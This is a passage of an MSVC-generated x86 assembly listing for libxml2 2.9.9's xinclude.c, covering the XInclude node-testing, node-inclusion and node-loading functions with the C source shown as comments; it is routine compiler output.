mov edx, DWORD PTR [ecx+8]
push edx
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN7@xmlXInclud
$LN19@xmlXInclud:
; 2341 : (!xmlStrEqual(node->parent->name, XINCLUDE_NODE))) {
; 2342 : xmlXIncludeErr(ctxt, node,
push OFFSET ??_C@_08LFBOCJLE@fallback@
push OFFSET ??_C@_0CF@BKGBMCAE@?$CFs?5is?5not?5the?5child?5of?5an?5?8incl@
push 1616 ; 00000650H
mov eax, DWORD PTR _node$[ebp]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeErr
add esp, 20 ; 00000014H
$LN7@xmlXInclud:
; 2343 : XML_XINCLUDE_FALLBACK_NOT_IN_INCLUDE,
; 2344 : "%s is not the child of an 'include'\n",
; 2345 : XINCLUDE_FALLBACK);
; 2346 : }
; 2347 : }
; 2348 : }
; 2349 : return(0);
xor eax, eax
$LN1@xmlXInclud:
; 2350 : }
add esp, 8
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_xmlXIncludeTestNode ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeIncludeNode
_TEXT SEGMENT
_nb_elem$1 = -20 ; size = 4
_tmp$ = -16 ; size = 4
_list$ = -12 ; size = 4
_end$ = -8 ; size = 4
_cur$ = -4 ; size = 4
_ctxt$ = 8 ; size = 4
_nr$ = 12 ; size = 4
_xmlXIncludeIncludeNode PROC ; COMDAT
; 2186 : xmlXIncludeIncludeNode(xmlXIncludeCtxtPtr ctxt, int nr) {
push ebp
mov ebp, esp
sub esp, 20 ; 00000014H
mov eax, -858993460 ; ccccccccH
mov DWORD PTR [ebp-20], eax
mov DWORD PTR [ebp-16], eax
mov DWORD PTR [ebp-12], eax
mov DWORD PTR [ebp-8], eax
mov DWORD PTR [ebp-4], eax
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 2187 : xmlNodePtr cur, end, list, tmp;
; 2188 :
; 2189 : if (ctxt == NULL)
cmp DWORD PTR _ctxt$[ebp], 0
jne SHORT $LN8@xmlXInclud
; 2190 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN8@xmlXInclud:
; 2191 : if ((nr < 0) || (nr >= ctxt->incNr))
cmp DWORD PTR _nr$[ebp], 0
jl SHORT $LN10@xmlXInclud
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR _nr$[ebp]
cmp ecx, DWORD PTR [eax+8]
jl SHORT $LN9@xmlXInclud
$LN10@xmlXInclud:
; 2192 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN9@xmlXInclud:
; 2193 : cur = ctxt->incTab[nr]->ref;
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+16]
mov ecx, DWORD PTR _nr$[ebp]
mov edx, DWORD PTR [eax+ecx*4]
mov eax, DWORD PTR [edx+12]
mov DWORD PTR _cur$[ebp], eax
; 2194 : if ((cur == NULL) || (cur->type == XML_NAMESPACE_DECL))
cmp DWORD PTR _cur$[ebp], 0
je SHORT $LN12@xmlXInclud
mov ecx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [ecx+4], 18 ; 00000012H
jne SHORT $LN11@xmlXInclud
$LN12@xmlXInclud:
; 2195 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN11@xmlXInclud:
; 2196 :
; 2197 : /*
; 2198 : * If we stored an XPointer a late computation may be needed
; 2199 : */
; 2200 : if ((ctxt->incTab[nr]->inc == NULL) &&
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+16]
mov ecx, DWORD PTR _nr$[ebp]
mov edx, DWORD PTR [eax+ecx*4]
cmp DWORD PTR [edx+16], 0
jne SHORT $LN13@xmlXInclud
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+16]
mov edx, DWORD PTR _nr$[ebp]
mov eax, DWORD PTR [ecx+edx*4]
cmp DWORD PTR [eax+28], 0
je SHORT $LN13@xmlXInclud
; 2201 : (ctxt->incTab[nr]->xptr != NULL)) {
; 2202 : ctxt->incTab[nr]->inc =
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+16]
mov eax, DWORD PTR _nr$[ebp]
mov ecx, DWORD PTR [edx+eax*4]
mov edx, DWORD PTR [ecx+28]
push edx
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax]
push ecx
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeCopyXPointer
add esp, 16 ; 00000010H
mov edx, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [edx+16]
mov edx, DWORD PTR _nr$[ebp]
mov ecx, DWORD PTR [ecx+edx*4]
mov DWORD PTR [ecx+16], eax
; 2203 : xmlXIncludeCopyXPointer(ctxt, ctxt->doc, ctxt->doc,
; 2204 : ctxt->incTab[nr]->xptr);
; 2205 : xmlXPathFreeObject(ctxt->incTab[nr]->xptr);
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+16]
mov ecx, DWORD PTR _nr$[ebp]
mov edx, DWORD PTR [eax+ecx*4]
mov eax, DWORD PTR [edx+28]
push eax
call _xmlXPathFreeObject
add esp, 4
; 2206 : ctxt->incTab[nr]->xptr = NULL;
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+16]
mov eax, DWORD PTR _nr$[ebp]
mov ecx, DWORD PTR [edx+eax*4]
mov DWORD PTR [ecx+28], 0
$LN13@xmlXInclud:
; 2207 : }
; 2208 : list = ctxt->incTab[nr]->inc;
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+16]
mov ecx, DWORD PTR _nr$[ebp]
mov edx, DWORD PTR [eax+ecx*4]
mov eax, DWORD PTR [edx+16]
mov DWORD PTR _list$[ebp], eax
; 2209 : ctxt->incTab[nr]->inc = NULL;
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+16]
mov eax, DWORD PTR _nr$[ebp]
mov ecx, DWORD PTR [edx+eax*4]
mov DWORD PTR [ecx+16], 0
; 2210 :
; 2211 : /*
; 2212 : * Check against the risk of generating a multi-rooted document
; 2213 : */
; 2214 : if ((cur->parent != NULL) &&
mov edx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [edx+20], 0
je SHORT $LN14@xmlXInclud
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+20]
cmp DWORD PTR [ecx+4], 1
je SHORT $LN14@xmlXInclud
; 2215 : (cur->parent->type != XML_ELEMENT_NODE)) {
; 2216 : int nb_elem = 0;
mov DWORD PTR _nb_elem$1[ebp], 0
; 2217 :
; 2218 : tmp = list;
mov edx, DWORD PTR _list$[ebp]
mov DWORD PTR _tmp$[ebp], edx
$LN2@xmlXInclud:
; 2219 : while (tmp != NULL) {
cmp DWORD PTR _tmp$[ebp], 0
je SHORT $LN3@xmlXInclud
; 2220 : if (tmp->type == XML_ELEMENT_NODE)
mov eax, DWORD PTR _tmp$[ebp]
cmp DWORD PTR [eax+4], 1
jne SHORT $LN15@xmlXInclud
; 2221 : nb_elem++;
mov ecx, DWORD PTR _nb_elem$1[ebp]
add ecx, 1
mov DWORD PTR _nb_elem$1[ebp], ecx
$LN15@xmlXInclud:
; 2222 : tmp = tmp->next;
mov edx, DWORD PTR _tmp$[ebp]
mov eax, DWORD PTR [edx+24]
mov DWORD PTR _tmp$[ebp], eax
; 2223 : }
jmp SHORT $LN2@xmlXInclud
$LN3@xmlXInclud:
; 2224 : if (nb_elem > 1) {
cmp DWORD PTR _nb_elem$1[ebp], 1
jle SHORT $LN14@xmlXInclud
; 2225 : xmlXIncludeErr(ctxt, ctxt->incTab[nr]->ref,
push 0
push OFFSET ??_C@_0DF@GJKNHIHG@XInclude?5error?3?5would?5result?5in@
push 1611 ; 0000064bH
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+16]
mov eax, DWORD PTR _nr$[ebp]
mov ecx, DWORD PTR [edx+eax*4]
mov edx, DWORD PTR [ecx+12]
push edx
mov eax, DWORD PTR _ctxt$[ebp]
push eax
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 2226 : XML_XINCLUDE_MULTIPLE_ROOT,
; 2227 : "XInclude error: would result in multiple root nodes\n",
; 2228 : NULL);
; 2229 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN14@xmlXInclud:
; 2230 : }
; 2231 : }
; 2232 :
; 2233 : if (ctxt->parseFlags & XML_PARSE_NOXINCNODE) {
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+60]
and edx, 32768 ; 00008000H
je SHORT $LN17@xmlXInclud
$LN4@xmlXInclud:
; 2234 : /*
; 2235 : * Add the list of nodes
; 2236 : */
; 2237 : while (list != NULL) {
cmp DWORD PTR _list$[ebp], 0
je SHORT $LN5@xmlXInclud
; 2238 : end = list;
mov eax, DWORD PTR _list$[ebp]
mov DWORD PTR _end$[ebp], eax
; 2239 : list = list->next;
mov ecx, DWORD PTR _list$[ebp]
mov edx, DWORD PTR [ecx+24]
mov DWORD PTR _list$[ebp], edx
; 2240 :
; 2241 : xmlAddPrevSibling(cur, end);
mov eax, DWORD PTR _end$[ebp]
push eax
mov ecx, DWORD PTR _cur$[ebp]
push ecx
call _xmlAddPrevSibling
add esp, 8
; 2242 : }
jmp SHORT $LN4@xmlXInclud
$LN5@xmlXInclud:
; 2243 : xmlUnlinkNode(cur);
mov edx, DWORD PTR _cur$[ebp]
push edx
call _xmlUnlinkNode
add esp, 4
; 2244 : xmlFreeNode(cur);
mov eax, DWORD PTR _cur$[ebp]
push eax
call _xmlFreeNode
add esp, 4
; 2245 : } else {
jmp $LN18@xmlXInclud
$LN17@xmlXInclud:
; 2246 : /*
; 2247 : * Change the current node as an XInclude start one, and add an
; 2248 : * XInclude end one
; 2249 : */
; 2250 : cur->type = XML_XINCLUDE_START;
mov ecx, DWORD PTR _cur$[ebp]
mov DWORD PTR [ecx+4], 19 ; 00000013H
; 2251 : end = xmlNewDocNode(cur->doc, cur->ns, cur->name, NULL);
push 0
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+8]
push eax
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+36]
push edx
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+32]
push ecx
call _xmlNewDocNode
add esp, 16 ; 00000010H
mov DWORD PTR _end$[ebp], eax
; 2252 : if (end == NULL) {
cmp DWORD PTR _end$[ebp], 0
jne SHORT $LN19@xmlXInclud
; 2253 : xmlXIncludeErr(ctxt, ctxt->incTab[nr]->ref,
push 0
push OFFSET ??_C@_0BG@FIICHNCC@failed?5to?5build?5node?6@
push 1609 ; 00000649H
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+16]
mov ecx, DWORD PTR _nr$[ebp]
mov edx, DWORD PTR [eax+ecx*4]
mov eax, DWORD PTR [edx+12]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 2254 : XML_XINCLUDE_BUILD_FAILED,
; 2255 : "failed to build node\n", NULL);
; 2256 : return(-1);
or eax, -1
jmp SHORT $LN1@xmlXInclud
$LN19@xmlXInclud:
; 2257 : }
; 2258 : end->type = XML_XINCLUDE_END;
mov edx, DWORD PTR _end$[ebp]
mov DWORD PTR [edx+4], 20 ; 00000014H
; 2259 : xmlAddNextSibling(cur, end);
mov eax, DWORD PTR _end$[ebp]
push eax
mov ecx, DWORD PTR _cur$[ebp]
push ecx
call _xmlAddNextSibling
add esp, 8
$LN6@xmlXInclud:
; 2260 :
; 2261 : /*
; 2262 : * Add the list of nodes
; 2263 : */
; 2264 : while (list != NULL) {
cmp DWORD PTR _list$[ebp], 0
je SHORT $LN18@xmlXInclud
; 2265 : cur = list;
mov edx, DWORD PTR _list$[ebp]
mov DWORD PTR _cur$[ebp], edx
; 2266 : list = list->next;
mov eax, DWORD PTR _list$[ebp]
mov ecx, DWORD PTR [eax+24]
mov DWORD PTR _list$[ebp], ecx
; 2267 :
; 2268 : xmlAddPrevSibling(end, cur);
mov edx, DWORD PTR _cur$[ebp]
push edx
mov eax, DWORD PTR _end$[ebp]
push eax
call _xmlAddPrevSibling
add esp, 8
; 2269 : }
jmp SHORT $LN6@xmlXInclud
$LN18@xmlXInclud:
; 2270 : }
; 2271 :
; 2272 :
; 2273 : return(0);
xor eax, eax
$LN1@xmlXInclud:
; 2274 : }
add esp, 20 ; 00000014H
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_xmlXIncludeIncludeNode ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeLoadNode
_TEXT SEGMENT
_children$1 = -44 ; size = 4
_eschref$2 = -40 ; size = 4
_escbase$3 = -36 ; size = 4
_ret$ = -32 ; size = 4
_xml$ = -28 ; size = 4
_URI$ = -24 ; size = 4
_oldBase$ = -20 ; size = 4
_base$ = -16 ; size = 4
_parse$ = -12 ; size = 4
_href$ = -8 ; size = 4
_cur$ = -4 ; size = 4
_ctxt$ = 8 ; size = 4
_nr$ = 12 ; size = 4
_xmlXIncludeLoadNode PROC ; COMDAT
; 2029 : xmlXIncludeLoadNode(xmlXIncludeCtxtPtr ctxt, int nr) {
push ebp
mov ebp, esp
sub esp, 44 ; 0000002cH
push esi
push edi
lea edi, DWORD PTR [ebp-44]
mov ecx, 11 ; 0000000bH
mov eax, -858993460 ; ccccccccH
rep stosd
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 2030 : xmlNodePtr cur;
; 2031 : xmlChar *href;
; 2032 : xmlChar *parse;
; 2033 : xmlChar *base;
; 2034 : xmlChar *oldBase;
; 2035 : xmlChar *URI;
; 2036 : int xml = 1; /* default Issue 64 */
mov DWORD PTR _xml$[ebp], 1
; 2037 : int ret;
; 2038 :
; 2039 : if (ctxt == NULL)
cmp DWORD PTR _ctxt$[ebp], 0
jne SHORT $LN4@xmlXInclud
; 2040 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN4@xmlXInclud:
; 2041 : if ((nr < 0) || (nr >= ctxt->incNr))
cmp DWORD PTR _nr$[ebp], 0
jl SHORT $LN6@xmlXInclud
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR _nr$[ebp]
cmp ecx, DWORD PTR [eax+8]
jl SHORT $LN5@xmlXInclud
$LN6@xmlXInclud:
; 2042 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN5@xmlXInclud:
; 2043 : cur = ctxt->incTab[nr]->ref;
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+16]
mov ecx, DWORD PTR _nr$[ebp]
mov edx, DWORD PTR [eax+ecx*4]
mov eax, DWORD PTR [edx+12]
mov DWORD PTR _cur$[ebp], eax
; 2044 : if (cur == NULL)
cmp DWORD PTR _cur$[ebp], 0
jne SHORT $LN7@xmlXInclud
; 2045 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN7@xmlXInclud:
; 2046 :
; 2047 : /*
; 2048 : * read the attributes
; 2049 : */
; 2050 : href = xmlXIncludeGetProp(ctxt, cur, XINCLUDE_HREF);
push OFFSET ??_C@_04CMBCJJJD@href@
mov ecx, DWORD PTR _cur$[ebp]
push ecx
mov edx, DWORD PTR _ctxt$[ebp]
push edx
call _xmlXIncludeGetProp
add esp, 12 ; 0000000cH
mov DWORD PTR _href$[ebp], eax
; 2051 : if (href == NULL) {
cmp DWORD PTR _href$[ebp], 0
jne SHORT $LN8@xmlXInclud
; 2052 : href = xmlStrdup(BAD_CAST ""); /* @@@@ href is now optional */
push OFFSET ??_C@_00CNPNBAHC@@
call _xmlStrdup
add esp, 4
mov DWORD PTR _href$[ebp], eax
; 2053 : if (href == NULL)
cmp DWORD PTR _href$[ebp], 0
jne SHORT $LN8@xmlXInclud
; 2054 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN8@xmlXInclud:
; 2055 : }
; 2056 : parse = xmlXIncludeGetProp(ctxt, cur, XINCLUDE_PARSE);
push OFFSET ??_C@_05GOEGCMJM@parse@
mov eax, DWORD PTR _cur$[ebp]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeGetProp
add esp, 12 ; 0000000cH
mov DWORD PTR _parse$[ebp], eax
; 2057 : if (parse != NULL) {
cmp DWORD PTR _parse$[ebp], 0
je $LN10@xmlXInclud
; 2058 : if (xmlStrEqual(parse, XINCLUDE_PARSE_XML))
push OFFSET ??_C@_03PJHHNEEI@xml@
mov edx, DWORD PTR _parse$[ebp]
push edx
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN11@xmlXInclud
; 2059 : xml = 1;
mov DWORD PTR _xml$[ebp], 1
jmp $LN10@xmlXInclud
$LN11@xmlXInclud:
; 2060 : else if (xmlStrEqual(parse, XINCLUDE_PARSE_TEXT))
push OFFSET ??_C@_04CIMGMMMG@text@
mov eax, DWORD PTR _parse$[ebp]
push eax
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN13@xmlXInclud
; 2061 : xml = 0;
mov DWORD PTR _xml$[ebp], 0
jmp SHORT $LN10@xmlXInclud
$LN13@xmlXInclud:
; 2062 : else {
; 2063 : xmlXIncludeErr(ctxt, ctxt->incTab[nr]->ref,
mov ecx, DWORD PTR _parse$[ebp]
push ecx
push OFFSET ??_C@_0BO@KBIJIENG@invalid?5value?5?$CFs?5for?5?8parse?8?6@
push 1601 ; 00000641H
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+16]
mov ecx, DWORD PTR _nr$[ebp]
mov edx, DWORD PTR [eax+ecx*4]
mov eax, DWORD PTR [edx+12]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 2064 : XML_XINCLUDE_PARSE_VALUE,
; 2065 : "invalid value %s for 'parse'\n", parse);
; 2066 : if (href != NULL)
cmp DWORD PTR _href$[ebp], 0
je SHORT $LN15@xmlXInclud
; 2067 : xmlFree(href);
mov esi, esp
mov edx, DWORD PTR _href$[ebp]
push edx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN15@xmlXInclud:
; 2068 : if (parse != NULL)
cmp DWORD PTR _parse$[ebp], 0
je SHORT $LN16@xmlXInclud
; 2069 : xmlFree(parse);
mov esi, esp
mov eax, DWORD PTR _parse$[ebp]
push eax
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN16@xmlXInclud:
; 2070 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN10@xmlXInclud:
; 2071 : }
; 2072 : }
; 2073 :
; 2074 : /*
; 2075 : * compute the URI
; 2076 : */
; 2077 : base = xmlNodeGetBase(ctxt->doc, cur);
mov ecx, DWORD PTR _cur$[ebp]
push ecx
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx]
push eax
call _xmlNodeGetBase
add esp, 8
mov DWORD PTR _base$[ebp], eax
; 2078 : if (base == NULL) {
cmp DWORD PTR _base$[ebp], 0
jne SHORT $LN17@xmlXInclud
; 2079 : URI = xmlBuildURI(href, ctxt->doc->URL);
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx]
mov eax, DWORD PTR [edx+72]
push eax
mov ecx, DWORD PTR _href$[ebp]
push ecx
call _xmlBuildURI
add esp, 8
mov DWORD PTR _URI$[ebp], eax
; 2080 : } else {
jmp SHORT $LN18@xmlXInclud
$LN17@xmlXInclud:
; 2081 : URI = xmlBuildURI(href, base);
mov edx, DWORD PTR _base$[ebp]
push edx
mov eax, DWORD PTR _href$[ebp]
push eax
call _xmlBuildURI
add esp, 8
mov DWORD PTR _URI$[ebp], eax
$LN18@xmlXInclud:
; 2082 : }
; 2083 : if (URI == NULL) {
cmp DWORD PTR _URI$[ebp], 0
jne SHORT $LN19@xmlXInclud
; 2084 : xmlChar *escbase;
; 2085 : xmlChar *eschref;
; 2086 : /*
; 2087 : * Some escaping may be needed
; 2088 : */
; 2089 : escbase = xmlURIEscape(base);
mov ecx, DWORD PTR _base$[ebp]
push ecx
call _xmlURIEscape
add esp, 4
mov DWORD PTR _escbase$3[ebp], eax
; 2090 : eschref = xmlURIEscape(href);
mov edx, DWORD PTR _href$[ebp]
push edx
call _xmlURIEscape
add esp, 4
mov DWORD PTR _eschref$2[ebp], eax
; 2091 : URI = xmlBuildURI(eschref, escbase);
mov eax, DWORD PTR _escbase$3[ebp]
push eax
mov ecx, DWORD PTR _eschref$2[ebp]
push ecx
call _xmlBuildURI
add esp, 8
mov DWORD PTR _URI$[ebp], eax
; 2092 : if (escbase != NULL)
cmp DWORD PTR _escbase$3[ebp], 0
je SHORT $LN20@xmlXInclud
; 2093 : xmlFree(escbase);
mov esi, esp
mov edx, DWORD PTR _escbase$3[ebp]
push edx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN20@xmlXInclud:
; 2094 : if (eschref != NULL)
cmp DWORD PTR _eschref$2[ebp], 0
je SHORT $LN19@xmlXInclud
; 2095 : xmlFree(eschref);
mov esi, esp
mov eax, DWORD PTR _eschref$2[ebp]
push eax
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN19@xmlXInclud:
; 2096 : }
; 2097 : if (URI == NULL) {
cmp DWORD PTR _URI$[ebp], 0
jne $LN22@xmlXInclud
; 2098 : xmlXIncludeErr(ctxt, ctxt->incTab[nr]->ref,
push 0
push OFFSET ??_C@_0BC@LNHFKIFC@failed?5build?5URL?6@
push 1605 ; 00000645H
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+16]
mov eax, DWORD PTR _nr$[ebp]
mov ecx, DWORD PTR [edx+eax*4]
mov edx, DWORD PTR [ecx+12]
push edx
mov eax, DWORD PTR _ctxt$[ebp]
push eax
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 2099 : XML_XINCLUDE_HREF_URI, "failed build URL\n", NULL);
; 2100 : if (parse != NULL)
cmp DWORD PTR _parse$[ebp], 0
je SHORT $LN23@xmlXInclud
; 2101 : xmlFree(parse);
mov esi, esp
mov ecx, DWORD PTR _parse$[ebp]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN23@xmlXInclud:
; 2102 : if (href != NULL)
cmp DWORD PTR _href$[ebp], 0
je SHORT $LN24@xmlXInclud
; 2103 : xmlFree(href);
mov esi, esp
mov edx, DWORD PTR _href$[ebp]
push edx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN24@xmlXInclud:
; 2104 : if (base != NULL)
cmp DWORD PTR _base$[ebp], 0
je SHORT $LN25@xmlXInclud
; 2105 : xmlFree(base);
mov esi, esp
mov eax, DWORD PTR _base$[ebp]
push eax
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN25@xmlXInclud:
; 2106 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN22@xmlXInclud:
; 2107 : }
; 2108 : #ifdef DEBUG_XINCLUDE
; 2109 : xmlGenericError(xmlGenericErrorContext, "parse: %s\n",
; 2110 : xml ? "xml": "text");
; 2111 : xmlGenericError(xmlGenericErrorContext, "URI: %s\n", URI);
; 2112 : #endif
; 2113 :
; 2114 : /*
; 2115 : * Save the base for this include (saving the current one)
; 2116 : */
; 2117 : oldBase = ctxt->base;
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+64]
mov DWORD PTR _oldBase$[ebp], edx
; 2118 : ctxt->base = base;
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR _base$[ebp]
mov DWORD PTR [eax+64], ecx
; 2119 :
; 2120 : if (xml) {
cmp DWORD PTR _xml$[ebp], 0
je SHORT $LN26@xmlXInclud
; 2121 : ret = xmlXIncludeLoadDoc(ctxt, URI, nr);
mov edx, DWORD PTR _nr$[ebp]
push edx
mov eax, DWORD PTR _URI$[ebp]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeLoadDoc
add esp, 12 ; 0000000cH
mov DWORD PTR _ret$[ebp], eax
; 2122 : /* xmlXIncludeGetFragment(ctxt, cur, URI); */
; 2123 : } else {
jmp SHORT $LN27@xmlXInclud
$LN26@xmlXInclud:
; 2124 : ret = xmlXIncludeLoadTxt(ctxt, URI, nr);
mov edx, DWORD PTR _nr$[ebp]
push edx
mov eax, DWORD PTR _URI$[ebp]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeLoadTxt
add esp, 12 ; 0000000cH
mov DWORD PTR _ret$[ebp], eax
$LN27@xmlXInclud:
; 2125 : }
; 2126 :
; 2127 : /*
; 2128 : * Restore the original base before checking for fallback
; 2129 : */
; 2130 : ctxt->base = oldBase;
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR _oldBase$[ebp]
mov DWORD PTR [edx+64], eax
; 2131 :
; 2132 : if (ret < 0) {
cmp DWORD PTR _ret$[ebp], 0
jge $LN28@xmlXInclud
; 2133 : xmlNodePtr children;
; 2134 :
; 2135 : /*
; 2136 : * Time to try a fallback if availble
; 2137 : */
; 2138 : #ifdef DEBUG_XINCLUDE
; 2139 : xmlGenericError(xmlGenericErrorContext, "error looking for fallback\n");
; 2140 : #endif
; 2141 : children = cur->children;
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+12]
mov DWORD PTR _children$1[ebp], edx
$LN2@xmlXInclud:
; 2142 : while (children != NULL) {
cmp DWORD PTR _children$1[ebp], 0
je $LN28@xmlXInclud
; 2143 : if ((children->type == XML_ELEMENT_NODE) &&
; 2144 : (children->ns != NULL) &&
; 2145 : (xmlStrEqual(children->name, XINCLUDE_FALLBACK)) &&
mov eax, DWORD PTR _children$1[ebp]
cmp DWORD PTR [eax+4], 1
jne SHORT $LN29@xmlXInclud
mov ecx, DWORD PTR _children$1[ebp]
cmp DWORD PTR [ecx+36], 0
je SHORT $LN29@xmlXInclud
push OFFSET ??_C@_08LFBOCJLE@fallback@
mov edx, DWORD PTR _children$1[ebp]
mov eax, DWORD PTR [edx+8]
push eax
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN29@xmlXInclud
push OFFSET ??_C@_0CA@MIIEHMNN@http?3?1?1www?4w3?4org?12003?1XInclude@
mov ecx, DWORD PTR _children$1[ebp]
mov edx, DWORD PTR [ecx+36]
mov eax, DWORD PTR [edx+8]
push eax
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN30@xmlXInclud
push OFFSET ??_C@_0CA@JAOIMFBM@http?3?1?1www?4w3?4org?12001?1XInclude@
mov ecx, DWORD PTR _children$1[ebp]
mov edx, DWORD PTR [ecx+36]
mov eax, DWORD PTR [edx+8]
push eax
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN29@xmlXInclud
$LN30@xmlXInclud:
; 2146 : ((xmlStrEqual(children->ns->href, XINCLUDE_NS)) ||
; 2147 : (xmlStrEqual(children->ns->href, XINCLUDE_OLD_NS)))) {
; 2148 : ret = xmlXIncludeLoadFallback(ctxt, children, nr);
mov ecx, DWORD PTR _nr$[ebp]
push ecx
mov edx, DWORD PTR _children$1[ebp]
push edx
mov eax, DWORD PTR _ctxt$[ebp]
push eax
call _xmlXIncludeLoadFallback
add esp, 12 ; 0000000cH
mov DWORD PTR _ret$[ebp], eax
; 2149 : if (ret == 0)
cmp DWORD PTR _ret$[ebp], 0
jne SHORT $LN29@xmlXInclud
; 2150 : break;
jmp SHORT $LN28@xmlXInclud
$LN29@xmlXInclud:
; 2151 : }
; 2152 : children = children->next;
mov ecx, DWORD PTR _children$1[ebp]
mov edx, DWORD PTR [ecx+24]
mov DWORD PTR _children$1[ebp], edx
; 2153 : }
jmp $LN2@xmlXInclud
$LN28@xmlXInclud:
; 2154 : }
; 2155 : if (ret < 0) {
cmp DWORD PTR _ret$[ebp], 0
jge SHORT $LN32@xmlXInclud
; 2156 : xmlXIncludeErr(ctxt, ctxt->incTab[nr]->ref,
mov eax, DWORD PTR _URI$[ebp]
push eax
push OFFSET ??_C@_0CO@LMECEKCE@could?5not?5load?5?$CFs?0?5and?5no?5fallb@
push 1604 ; 00000644H
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+16]
mov eax, DWORD PTR _nr$[ebp]
mov ecx, DWORD PTR [edx+eax*4]
mov edx, DWORD PTR [ecx+12]
push edx
mov eax, DWORD PTR _ctxt$[ebp]
push eax
call _xmlXIncludeErr
add esp, 20 ; 00000014H
$LN32@xmlXInclud:
; 2157 : XML_XINCLUDE_NO_FALLBACK,
; 2158 : "could not load %s, and no fallback was found\n",
; 2159 : URI);
; 2160 : }
; 2161 :
; 2162 : /*
; 2163 : * Cleanup
; 2164 : */
; 2165 : if (URI != NULL)
cmp DWORD PTR _URI$[ebp], 0
je SHORT $LN33@xmlXInclud
